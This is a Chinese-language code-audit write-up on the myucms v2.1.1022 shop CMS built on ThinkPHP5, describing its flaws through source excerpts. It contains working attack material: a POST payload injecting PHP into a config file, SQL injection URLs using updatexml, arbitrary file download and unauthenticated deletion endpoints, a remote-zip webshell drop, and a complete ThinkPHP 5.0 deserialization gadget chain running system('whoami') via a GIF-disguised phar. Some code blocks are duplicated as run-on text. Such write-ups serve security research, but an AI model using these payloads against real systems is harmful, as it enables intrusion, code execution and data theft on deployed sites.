|
原文链接:代码审计 TP5二开myucms (qq.com)
版本:v2.1.1022
下载地址:https://down.easck.com/code/59956.html#xzdz
1
介绍
Myucms是基于ThinkPHP5开发的,是一个商城内容管理系统
路由访问
http://localhost:81/index.php/bbs/index/index
2
熟悉TP框架
首先查看有没有开启错误回显、是否开启全局过滤、伪静态后缀
- // 错误显示信息,非调试模式有效
- 'error_message'
- // 显示错误信息
- 'show_error_msg'
- => '页面错误!请稍后再试~',
- => false,
- // 默认全局过滤方法 用逗号分隔多个
- 'default_filter'
- => '',
- // URL伪静态后缀
- 'url_html_suffix'
- => 'html',
复制代码
找到一处添加板块的方法,看源码
编辑
源码如下。看到接受传参的方式是一个 input(post.) ,通过post传参获取所有的内容。直接将获
取的结果使用add方法进行添加,这里的 $data 是一个数组的形式,所以这种情况下不会导致注入
问题
- public function add()
- {
- $category = new CategoryModel();
- if (request()->isPost()) {
- $data = input('post.');
- $data['time'] = time();
- if ($category->add($data)) {
- return json(array('code' => 200, 'msg' => '添加成功'));
- } else {
- return json(array('code' => 0, 'msg' => '添加失败'));
- }
- }
- $gzc = $category->catetree();
- $this->assign('gzc', $gzc);
- return view();
- }
复制代码
还有一处edit的方法,有一个单独传参的 input('id') ,id是会根据主键去查询内容,这里的id就是个int类型。虽然这个源码没有设置全局过滤,但是这里也不能导致注入产生
- public function edit()
- {
- $category = new CategoryModel();
- if (request()->isPost()) {
- $data = input('post.');
- if ($category->edit($data)) {
- return json(array('code' => 200, 'msg' => '修改成功'));
- } else {
- return json(array('code' => 0, 'msg' => '修改失败'));
- }
- }
- $gzc = $category->find(input('id'));
- $gzcs = $category->catetree();
- $this->assign(array('gzcs' => $gzcs, 'gzc' => $gzc));
- return view();
- }
- 以下这几种查询,会将语句变为数组,防止了SQL注入的产生
- db('category')->where('id', $change)->update(['sidebar' => 0]);
- if($banner->destroy(input('post.id'))){
复制代码
3
文件上传漏洞
在系统管理->网站配置处存在一处上传,首先看一下上传的功能代码
编辑
先上传一个图片,看一下路由,然后根据路由找到相应的文件
编辑
来到 application/admin/controller/Upload.php/upfile ,这里首先会验证session,需要登陆。然
后调用了 model->upfile
- public function upfile()
- {
- if (!session('userid') || !session('username')) {
- $this->error('亲!请登录',url('bbs/login/index'));
- } else {
- return json($this->model->upfile('files'));
- }
- }
复制代码 跟踪 model->upfile ,因为这个控制器继承了model模块,所以这里需要找到model下的upfile方法。
最终找到Up继承了Model类,上面的调用会来到这里
- public function upfile($type,$filename = 'file',$is_water = false){
- if (config('web.qiniuopen') == 1) {
- $driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey'
- => config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' =>
- config('web.bucket'));
- $setting = array('rootPath' => './', 'saveName' => array('uniqid', ''),
- 'hash' => true);
- $setting['exts'] = explode(',', config('web.WEB_RXT'));
- $setting['maxSize'] = 50 * 1024 * 1024;
- $File = $_FILES['file'];
- $Upload = new Upload($setting, 'Qiniu', $driverConfig);
- $info = $Upload->uploadOne($File);
- if ($info) {
- ......
- //默认会进入else判断
- } else {
- $file = request()->file($filename);
- $md5 = $file->hash('md5');
- $n = Db::name('file')->where('md5', $md5)->find();
- if (empty($n)) {
- $info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' =>
- config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');
- if ($info) {
- $path = DS . 'uploads' . DS . $info->getSaveName();
- $path = str_replace("\", "/", $path);
- $realpath = WEB_URL . $path;
- $data['sha1'] = $info->sha1();
- $data['md5'] = $info->md5();
- $data['create_time'] = time();
- $data['uid'] = session('userid');
- $data['download'] = 0;
- $data['size'] = $info->getSize();
- $fileinfo = $info->getInfo();
- $data['name'] = $fileinfo['name'];
- $data['ext'] = $info->getExtension();
-
- $data['savepath'] = $path;
- $data['savename'] = $info->getFilename();
- $data['mime'] = $fileinfo['type'];
- Db::name('file')->insert($data);
- $res = Db::name('file')->getLastInsID();
- if ($res > 0) {
- return array('code' => 200, 'msg' => '上传成功', 'hasscore' =>
- 0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5'
- => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info'
- => $info->getInfo());
- } else {
- return array('code' => 0, 'msg' => '上传失败');
- }
- } else {
- return array('code' => 0, 'msg' => $file->getError());
- }
- } else {
- $path = $n['savepath'];
- $realpath = WEB_URL . $path;
- return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext'
- => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' =>
- $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);
- }
- }
复制代码 这里通过request()->file($filename),获取全部的文件。通过下面的处理文件上传的方式会获取到 \$_FILE 的所有内容
- public function file($name = '')
- {
- if (empty($this->file)) {
- $this->file = isset($_FILES) ? $_FILES : [];
- }
- if (is_array($name)) {
- return $this->file = array_merge($this->file, $name);
- }
- $files = $this->file;
- if (!empty($files)) {
- // 处理上传文件
- $array = [];
- foreach ($files as $key => $file) {
- if (is_array($file['name'])) {
- $item = [];
- $keys = array_keys($file);
- $count = count($file['name']);
- for ($i = 0; $i < $count; $i++) {
- if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name']
- [$i])) {
- continue;
- }
-
- $temp['key'] = $key;
- foreach ($keys as $_key) {
- $temp[$_key] = $file[$_key][$i];
- }
- $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
- }
- $array[$key] = $item;
- } else {
- if ($file instanceof File) {
- $array[$key] = $file;
- } else {
- if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
- continue;
- }
- $array[$key] = (new File($file['tmp_name']))-
- >setUploadInfo($file);
- }
- }
- }
- if (strpos($name, '.')) {
- list($name, $sub) = explode('.', $name);
- }
- if ('' === $name) {
- // 获取全部文件
- return $array;
- } elseif (isset($sub) && isset($array[$name][$sub])) {
- return $array[$name][$sub];
- } elseif (isset($array[$name])) {
- return $array[$name];
- }
- }
- return;
复制代码 $temp['key'] = $key;foreach ($keys as $_key) {$temp[$_key] = $file[$_key][$i];}$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);}$array[$key] = $item;} else {if ($file instanceof File) {$array[$key] = $file;} else {if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {continue;}$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);}}}if (strpos($name, '.')) {list($name, $sub) = explode('.', $name);}if ('' === $name) {// 获取全部文件return $array;} elseif (isset($sub) && isset($array[$name][$sub])) {return $array[$name][$sub];} elseif (isset($array[$name])) {return $array[$name];}}return;如果上传过一次文件,文件会保存在数据库的file表,然后存储。
编辑
这里是通过 $file->hash('md5'); 计算,然后再通过 Db::name('file')->where('md5', $md5)-
>find(); 去查询,如果有内容,就会返回那个路径信息,不会覆盖上传。
在这里会验证上传的后缀类型,后缀白名单判断。
- $info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])-
- >move(ROOT_PATH . DS . 'uploads');
复制代码 在application/extra/web.php中可以看到
'
- WEB_RXT'=>'rar,png,zip,jpg,gif,ico'
- 如果验证成功会在move方法进行文件上传
- /* 移动文件 */
- if ($this->isTest) {
- rename($this->filename, $filename);
- } elseif (!move_uploaded_file($this->filename, $filename)) {
- $this->error = 'upload write error';
- return false;
- }
复制代码 在 application/admin/controller/Config.php/add 方法中,可以将获取的参数添加到web.php
- public function add()
- {
- $path = 'application/extra/web.php';
- $file = include $path;
- $config = array(
- 'WEB_RXT' => input('WEB_RXT'),
- 'WEB_GL' => input('WEB_GL'),
- 'WEB_REG' => input('WEB_REG'),
- 'WEB_TAG' => input('WEB_TAG'),
- 'WEB_OPE' => input('WEB_OPE'),
- 'WEB_BUG' => input('WEB_BUG'),
- 'WEB_BBS' => input('WEB_BBS'),
- 'WEB_SHOP' => input('WEB_SHOP'),
- 'WEB_INDEX' => input('WEB_INDEX'),
- 'WEB_KEJIAN' => input('WEB_KEJIAN'),
- 'WEB_KEJIANS' => input('WEB_KEJIANS'),
- 'Cascade' => input('Cascade'),
- //七牛
- 'bucket' => input('bucket'),
- 'accessKey' => input('accessKey'),
- 'secrectKey' => input('secrectKey'),
- 'domain' => input('domain'),
- 'qiniuopen' => input('qiniuopen'),
- );
- $res = array_merge($file, $config);
- $str = '<?php return [';
- foreach ($res as $key => $value) {
- $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
- }
- $str .= ']; ';
- if (file_put_contents($path, $str)) {
- return json(array('code' => 200, 'msg' => '修改成功'));
- } else {
- return json(array('code' => 0, 'msg' => '修改失败'));
- }
复制代码
这个方法在网站配置->更多设置 处进行更改。这里的附件格式可控,那么就可以添加一个新后
缀,然后写入web.php,再次进行上传的时候验证白名单,而白名单就是我们自己设置的。这样
就可以导致一处任意文件上传。
编辑
4
思考
既然这里可以修改任意的后缀,可以修改任意的内容,如果这里不进行参数过滤是否有办法达写
入webshell
直接访问web.php是空白的,因为再写入的时候开头会有个return,但是在add方法中也看到了存
在包含的关系
$path = 'application/extra/web.php';
$file = include $path;
在上面熟悉TP代码的时候,是没有看到全局过滤的,那么就可以直接写入 '];phpinfo();// 写入一
段代码
可以看到是写入成功的
编辑
其他几处亦是如此,找一个内容少的qq.php,尝试利用
- public function addqq()
- {
- $path = 'application/extra/qq.php';
- $file = include $path;
- $config = array(
- 'qq-appid' => input('qq-appid'),
- 'qq-appkey' => input('qq-appkey'),
- 'qq-callback' => input('qq-callback'),
- );
- $res = array_merge($file, $config);
- $str = '<?php return [';
- foreach ($res as $key => $value) {
- $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
- }
- $str .= ']; ';
- if (file_put_contents($path, $str)) {
- return json(array('code' => 200, 'msg' => '修改成功'));
- } else {
- return json(array('code' => 0, 'msg' => '修改失败'));
- }
- }
复制代码 构造poc写入文件
- GET:
- http://192.168.0.100:81/admin.php/config/addqq.html
- POST:
- qq-appid=0000&qq-appkey=00000&qq-
- callback=http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")];/
复制代码
写入成功是这样- <?php return ['qq-appid'=>'0000','qq-appkey'=>'00000','qq-
- callback'=>'http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")
复制代码
然后访问 application/extra/qq.php ,就会在当前目录生成一个php文件 编辑
来到前台的上传 application/index/controller/Upload.php ,看如下两个方法都是请求上传。使
用 $this->model->upfile 来发起上传请求
- public function upimage()
- {
- if (!session('userid') || !session('username')) {
- $this->error('亲!请登录',url('bbs/login/index'));
- } else {
- return json($this->model->upfile('images'));
- }
- }
- public function upfile()
- {
- if (!session('userid') || !session('username')) {
- $this->error('亲!请登录',url('bbs/login/index'));
- } else {
- return json($this->model->upfile('files'));
- }
- }
复制代码 发起的请求会来到upfile方法,上面已经知道了web.php可以重写覆盖,那么就可以写入一个新的
后缀来进行一个任意文件上传。
public function upfile($type,$filename = 'file',$is_water = false){
5
任意文件上传
在application/admin/controller/Shops.php/doUploadPic
- public function doUploadPic()
- {
- $file = request()->file('FileName');
- $info = $file->move(ROOT_PATH . DS . 'uploads');
- if($info){
- $path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
- echo str_replace("\","/",$path);
- }
- }
复制代码
编辑
此处就是获取一个 FileName ,然后调用 move 方法进行移动。
- public function move($path, $savename = true, $replace = true)
- {
- // 文件上传失败,捕获错误代码
- if (!empty($this->info['error'])) {
- $this->error($this->info['error']);
- return false;
- }
- // 检测合法性
- if (!$this->isValid()) {
- $this->error = 'upload illegal files';
- return false;
- }
- // 验证上传
- if (!$this->check()) {
- return false;
- }
- $path = rtrim($path, DS) . DS;
- // 文件保存命名规则
- $saveName = $this->buildSaveName($savename);
- $filename = $path . $saveName;
- // 检测目录
- if (false === $this->checkPath(dirname($filename))) {
- return false;
- }
- // 不覆盖同名文件
- if (!$replace && is_file($filename)) {
- $this->error = ['has the same filename: {:filename}', ['filename' =>
- $filename]];
- return false;
- }
- /* 移动文件 */
- if ($this->isTest) {
- rename($this->filename, $filename);
- } elseif (!move_uploaded_file($this->filename, $filename)) {
- $this->error = 'upload write error';
- return false;
- }
- // 返回 File 对象实例
- $file = new self($filename);
- $file->setSaveName($saveName)->setUploadInfo($this->info);
- return $file;
- }
复制代码
这里相比于上面的上传没有进行validate验证,直接可以上传文件且没有验证session
$file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])
上传php
编辑
好多文件都存在这个doUploadPic方法
6
任意文件删除漏洞
这里的代码也是很直接,没有验证身份,没有进行过滤,直接调用 deleteun 方法进行文件删除
- public function un()
- {
- $info = $_GET['info'];
- $res=deleteun(ROOT_PATH.'application/bbs/view'.DS.$info);
- if ($res) {
- return json(array('code' => 200, 'msg' => '删除成功'));
- }else{
- return json(array('code' => 0, 'msg' => '删除失败'));
- }
- }
复制代码
跟踪 deleteun 方法,这个方法有点危险直接删除了目录下的所有内容,必须是指定目录才可以循
环删除
- //循环删除目录和文件函数
- function deleteun($dir_name)
- {
- $result = false;
- if (is_dir($dir_name)) {
- if ($handle = opendir($dir_name)) {
- while (false !== ($item = readdir($handle))) {
- if ($item != '.' && $item != '..') {
- if (is_dir($dir_name . DS . $item)) {
- deleteun($dir_name . DS . $item);
- } else {
- unlink($dir_name . DS . $item);
- }
- }
- }
- closedir($handle);
- if (rmdir($dir_name)) {
- $result = true;
- }
- }
- }
- return $result;
- }
复制代码
7
前台SQL注入漏洞
在 application/bbs/controller/User.php/xiaoxidel 处,此处是前台bbs模块的一个消息阅读和消息删除的功能
- public function xiaoxidel($ids)
- {
- if (!session('userid') || !session('username')) {
- $this->error('亲!请登录',url('bbs/login/index'));
- } else {
- if ($ids==0) {
- $id = input('id');
- $data['open'] = 1;
- if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',
- session('userid'))->update($data)) {
- return json(array('code' => 200, 'msg' => '标记已读成功'));
- } else {
- return json(array('code' => 0, 'msg' => '标记已读失败'));
- }
- }elseif ($ids==1){
- $id = input('id');
- if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',
- session('userid'))->delete($id)) {
- return json(array('code' => 200, 'msg' => '彻底删除成功'));
- } else {
- return json(array('code' => 0, 'msg' => '彻底删除失败'));
- }
- }
- }
- }
复制代码 编辑
这里前台模块需要编写路由才能正常点击跳转,否则只能在浏览器拼接路径去访问。正常应该
是 /index.php/bbs/user/shoucang.html
编辑
这里的标记阅读和删除阅读的内容都存在SQL注入漏洞,主要是在where语句。此处直接拼接的
SQL语句。如果改为数组形式的传参就可以避免此处的问题 where("id",$id) ,后台的增删改查功
能都是使用这样的条件语句
- if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))-
- >update($data)) {
- if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))-
- >delete($id)) {
复制代码
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {正常访问 index.php/bbs/user/xiaoxidel/ids/0/id/1
编辑
构造非法的请求,在TP的报错页面可以看到生成的SQL语句
编辑
构造注入参数
/index.php/bbs/user/xiaoxidel/ids/0/id/1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
8
多个SQL注入
在 application/bbs/controller/index.php/bankuai ,同样存在以上问题
- public function bankuai()
- {
- $id = input('id');
- if (empty($id)) {
- return $this->error('亲!你迷路了');
- } else {
- $category = Db::name('category');
- $c = $category->where("id = {$id}")->find();
- 在 application/shop/controller/Index.php/grid 列表功能
- public function grid($or)
- {
- $or = input('or');
- $this->assign('or', $or);
- $id = input('id');
- $this->assign('id', $id);
- if (empty($id)) {
- $open['open'] = 1;
- $gzc = Db::name('shops')->alias('f')->join('shopcate c', 'c.id=f.tid')-
- >join('member m', 'm.userid=f.uid')->field('f.*,c.id as
- cid,m.userid,m.userhead,m.username,c.name,c.description')->where($open)-
- >order('f.settop desc , f.'.$or.' desc') -> paginate(16,false,['query' => request()-
- >param()]);
- $this->assign('gzc', $gzc);
- $shopcate = Db::name('shopcate');
- $gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();
- $gjmz = $shopcate->where("tid != 0")->order('sort desc')->select();
- $this->assign('gzcz', $gzcz);
- $this->assign('gjmz', $gjmz);
- $ids = -1;
- $this->assign('ids', $ids);
- } else {
- $shopcate = Db::name('shopcate');
- $c = $shopcate->where("id = {$id}")->find();
- if ($c) {
- $shopcate = Db::name('shopcate');
- $gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();
- $gjmzt = $shopcate->where("id = {$id}")->value('tid');
复制代码
通过全局搜索还是有很多存在注入问题,虽然有的验证了sessions,但是前台可以注册,注册完之
后就会生成session
编辑
9
任意文件下载
在 application/bbs/controller/Index.php/download 处是一个文件下载功能
- public function download($url, $name, $local)
- {
- $down = new Http();
- if ($local == 1) {
- $down->download($url, $name);
- } else {
- }
- }
- 调用了 HTTP->download ,跟踪这个类。判断是否是个文件,然后读取内容下载文件
- static public function download ($filename, $showname='',$content='',$expire=180) {
- if(is_file($filename)) {
- $length = filesize($filename);
- }elseif($content != '') {
- $length = strlen($content);
- }else {
-
- throw_exception($filename.L('下载文件不存在!'));
- }
- if(empty($showname)) {
- $showname = $filename;
- }
- $showname = basename($showname);
- if(!empty($filename)) {
- $type = mime_content_type($filename);
- }else{
- $type
- = "application/octet-stream";
- }
- //发送Http Header信息 开始下载
- header("Pragma: public");
- header("Cache-control: max-age=".$expire);
- //header('Cache-Control: no-store, no-cache, must-revalidate');
- header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
- header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
- header("Content-Disposition: attachment; filename=".$showname);
- header("Content-Length: ".$length);
- header("Content-type: ".$type);
- header('Content-Encoding: none');
- header("Content-Transfer-Encoding: binary" );
- if($content == '' ) {
- readfile($filename);
- }else {
- echo($content);
- }
- exit();
- }
复制代码 调用这个方法下载任意文件
- http://localhost:81/index.php/bbs/index/download/url/index.php/name/index.php/l
- ocal/1
- http://localhost:81/index.php/bbs/index/download?
- url=thinkphp/start.php&name=&local=1
复制代码
编辑
10
任意文件下载2
在 application/admin/controller/Index.php/sj 处,存在可控传参 title ,然后调用了 getFile、
- public function sj()
- {
- $xiazai = $_POST['title'];
- $url=$xiazai.urlencode(iconv("GB2312","UTF-8",""));
- $save_dir = 'runtime/myucms/';
- $filename ='shengji.zip';
- $res = getFile($url, $save_dir, $filename,0);
- return json(array('code' => 200, 'msg' => '升级成功'));
- }
复制代码 跟踪到getFile文件,此处传递的参数一一对应,在下方 $fp2 = @fopen($save_dir . $filename,'a'); 进行了文件写入,写入的内容就是 title 可控的文件,生成的文件名就是 $filename
- function getFile($url, $save_dir = '', $filename = '', $type = 0) {
- if (trim($url) == '') {
- return false;
- }
- if (trim($save_dir) == '') {
- $save_dir = './';
- }
- if (0 !== strrpos($save_dir, '/')) {
- $save_dir.= '/';
- }
- if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
-
- return false;
- }
- if ($type) {
- $ch = curl_init();
- $timeout = 5;
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- $content = curl_exec($ch);
- curl_close($ch);
- } else {
- ob_start();
- readfile($url);
- $content = ob_get_contents();
- ob_end_clean();
- }
- $size = strlen($content);
- $fp2 = @fopen($save_dir . $filename, 'a');
- fwrite($fp2, $content);
- fclose($fp2);
- unset($content, $url);
- }
复制代码 return false;}if ($type) {$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$content = curl_exec($ch);curl_close($ch);} else {ob_start();readfile($url);$content = ob_get_contents();ob_end_clean();}$size = strlen($content);$fp2 = @fopen($save_dir . $filename, 'a');fwrite($fp2, $content);fclose($fp2);unset($content, $url);}执行任意文件下载,会显示升级成功,那么文件去哪里了?
编辑
文件会在 runtime/myucms/shengji.zip 这里,直接访问下载这里不能直接打开,需要修改名字为
编辑
index.php
读取到文件
编辑
可以读文件,那么就可以读取远程文件,然后写到服务器。
看这段,这是解压的方法,直接解压固定路径的zip文件。通过上面我们可以任意的写入文件,然
后可以通过这个解压的操作解压出一个php文件
//解压
- public function ad()
- {
- $zip = new \ZipArchive;
- if ($zip->open('runtime/myucms/shengji.zip') === TRUE)
- {
- $zip->extractTo('application');
- $zip->close();
- unlink('runtime/myucms/shengji.zip');
- header("content-type:text/html;charset=utf-8");
- header('location:/admin.php/index/home.html');
- }
- }
复制代码
读取远程服务器文件,写入 runtime/myucms/shengji.zip
编辑
调用ad方法进行解压
http://localhost:81/admin.php/index/ad
然后就可以访问解压的文件了
http://localhost:81/application/exp.php
编辑
11
Phar反序列化
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序
列化,受影响的函数如下:
编辑
利用Phar反序列化首先需要一条TP5.0的链子,下面也是百度来的
- <?php
- namespace think\process\pipes{
- use think\model\Pivot;
- ini_set('display_errors',1);
- class Windows{
- private $files = [];
- public function __construct($function,$parameter)
- {
- $this->files = [new Pivot($function,$parameter)];
- }
- }
- $aaa = new Windows('system','whoami');
- echo base64_encode(serialize($aaa));}
- namespace think{
- abstract class Model
- {}
- }
- namespace think\model{
- use think\Model;
- use think\console\Output;
- class Pivot extends Model
- {
- protected $append = [];
- protected $error;
- public $parent;
- public function __construct($function,$parameter)
- {
- $this->append['jelly'] = 'getError';
- $this->error = new relation\BelongsTo($function,$parameter);
- $this->parent = new Output($function,$parameter);
- }
- }
- abstract class Relation
- {}
- }
- namespace think\model\relation{
- use think\db\Query;
- use think\model\Relation;
- abstract class OneToOne extends Relation
- class BelongsTo extends OneToOne
- {
- {}
- protected $selfRelation;
- protected $query;
- protected $bindAttr = [];
- public function __construct($function,$parameter)
- {
- $this->selfRelation = false;
- $this->query = new Query($function,$parameter);
- $this->bindAttr = [''];
- }
- }
- }
- namespace think\db{
- use think\console\Output;
- class Query
- {
- protected $model;
- public function __construct($function,$parameter)
- {
- }
- $this->model = new Output($function,$parameter);
- }
- }
- namespace think\console{
- use think\session\driver\Memcache;
- class Output
- {
- protected $styles = [];
- private $handle;
- public function __construct($function,$parameter)
- {
- $this->styles = ['getAttr'];
- $this->handle = new Memcache($function,$parameter);
- }
- }
-
- }
- namespace think\session\driver{
- use think\cache\driver\Memcached;
- class Memcache
- {
- protected $handler = null;
- protected $config = [
- 'expire'
- => '',
- 'session_name' => '',
- ];
- public function __construct($function,$parameter)
- {
- $this->handler = new Memcached($function,$parameter);
- }
- }
- }
- namespace think\cache\driver{
- use think\Request;
- class Memcached
- {
- protected $handler;
- protected $options = [];
- protected $tag;
- public function __construct($function,$parameter)
- {
- $this->options = ['prefix' => 'jelly/'];
- $this->tag = true;
- $this->handler = new Request($function,$parameter);
- }
- }
- }
- namespace think{
- class Request
- {
- protected $get
- = [];
- protected $filter;
- public function __construct($function,$parameter)
- {
- $this->filter = $function;
- $this->get = ["jelly"=>$parameter];
- }
- }
- }
复制代码
然后找到Phar反序列化的触发点,以上给的函数都可触发Phar反序列化,所以可以在源代码中寻找
在前台的download方法中,参数可控,可导致Phar反序列化。这里直接注册个会员就可以
- <?php
- namespace think\process\pipes{
- use think\model\Pivot;
- ini_set('display_errors',1);
- class Windows{
- private $files = [];
- public function __construct($function,$parameter)
- {
- $this->files = [new Pivot($function,$parameter)];
- }
- }
- $aaa = new Windows('system','whoami');
- echo base64_encode(serialize($aaa));}
- namespace think{
- abstract class Model
- {}
- }
- namespace think\model{
- use think\Model;
- use think\console\Output;
- class Pivot extends Model
- {
- protected $append = [];
- protected $error;
- public $parent;
- public function __construct($function,$parameter)
- {
- $this->append['jelly'] = 'getError';
- $this->error = new relation\BelongsTo($function,$parameter);
- $this->parent = new Output($function,$parameter);
- }
- }
- abstract class Relation
- {}
- }
- namespace think\model\relation{
- use think\db\Query;
- use think\model\Relation;
- abstract class OneToOne extends Relation
- class BelongsTo extends OneToOne
- {
- {}
- protected $selfRelation;
- protected $query;
- protected $bindAttr = [];
- public function __construct($function,$parameter)
- {
- $this->selfRelation = false;
- $this->query = new Query($function,$parameter);
- $this->bindAttr = [''];
- }
- }
- }
- namespace think\db{
- use think\console\Output;
- class Query
- {
- protected $model;
- public function __construct($function,$parameter)
- {
- }
- $this->model = new Output($function,$parameter);
- }
- }
- namespace think\console{
- use think\session\driver\Memcache;
- class Output
- {
- protected $styles = [];
- private $handle;
- public function __construct($function,$parameter)
- {
- $this->styles = ['getAttr'];
- $this->handle = new Memcache($function,$parameter);
- }
- }
-
- }
- namespace think\session\driver{
- use think\cache\driver\Memcached;
- class Memcache
- {
- protected $handler = null;
- protected $config = [
- 'expire'
- => '',
- 'session_name' => '',
- ];
- public function __construct($function,$parameter)
- {
- $this->handler = new Memcached($function,$parameter);
- }
- }
- }
- namespace think\cache\driver{
- use think\Request;
- class Memcached
- {
- protected $handler;
- protected $options = [];
- protected $tag;
- public function __construct($function,$parameter)
- {
- $this->options = ['prefix' => 'jelly/'];
- $this->tag = true;
- $this->handler = new Request($function,$parameter);
- }
- }
- }
- namespace think{
- class Request
- {
- protected $get
- = [];
- protected $filter;
- public function __construct($function,$parameter)
- {
- $this->filter = $function;
- $this->get = ["jelly"=>$parameter];
- }
- }
- }
复制代码
接着构造Phar反序列化payload,$object就是上面反序列化链的对象,自行更改
- $phar = new Phar('phar.phar');
- $phar -> stopBuffering();
- $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
- $phar -> addFromString('test.txt','test');
- $object = new AnyClass();
- $phar -> setMetadata($object);
- $phar -> stopBuffering();
复制代码
生成Phar文件 编辑
前台存在上传,由于是白名单,可将phar的后缀改为gif,进行上传
index.php/index/upload/upimage.html
编辑
readfile触发Phar反序列化
编辑
|
|